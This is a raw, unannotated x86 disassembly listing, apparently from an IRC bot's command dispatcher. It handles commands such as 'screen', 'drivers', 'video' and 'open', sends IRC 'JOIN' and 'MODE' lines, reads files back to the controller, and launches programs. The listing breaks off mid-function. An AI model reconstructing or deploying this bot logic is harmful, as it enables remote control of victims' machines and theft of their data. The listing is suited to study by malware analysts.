		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40884B

loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_408839
; ---------------------------------------------------------------------------

loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		call	near ptr 2690800h
		nop
		push	eax
		push	offset unk_429E28

loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------

loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429DFC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40894A

loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_408934
; ---------------------------------------------------------------------------

loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset dword_429DC0
		jmp	loc_408857
; ---------------------------------------------------------------------------

loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h

loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854

loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DA4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------

loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429D88

loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429D80
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D64
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D48
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D20
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2690000h
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D00
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------

loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CE4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA4

loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------

loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------

loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C4C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C30
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429BFC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------

loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BCC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------

loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429B90

loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi

loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFA4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h

loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B38
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------

loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429AD0
		jmp	short loc_408F78
; ---------------------------------------------------------------------------

loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429A98

loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A64
		jmp	loc_40874A
; ---------------------------------------------------------------------------

loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A24
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_4299E4
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch

loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------

loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299C0
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42999C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_429998 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42996C

loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------

loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429954
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429934
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429918
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh

loc_409167:				; DATA XREF: sub_542C3C+24A49o
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429900
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40921A

loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_409204
; ---------------------------------------------------------------------------

loc_40921A:				; CODE XREF: sub_401ACD+7735j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_4298C0

loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298A8
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429884
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6

loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_409325
; ---------------------------------------------------------------------------

loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		call	near ptr 2690247h
		nop
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429868
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------

loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------

loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429844
		jmp	short loc_40939D
; ---------------------------------------------------------------------------

loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429814

loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297C4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]

loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297A4
		push	eax
		call	sub_41B886

loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CAFF8
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB000
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------

loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_42977C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429754
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429734
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429710
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_4296E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------

loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
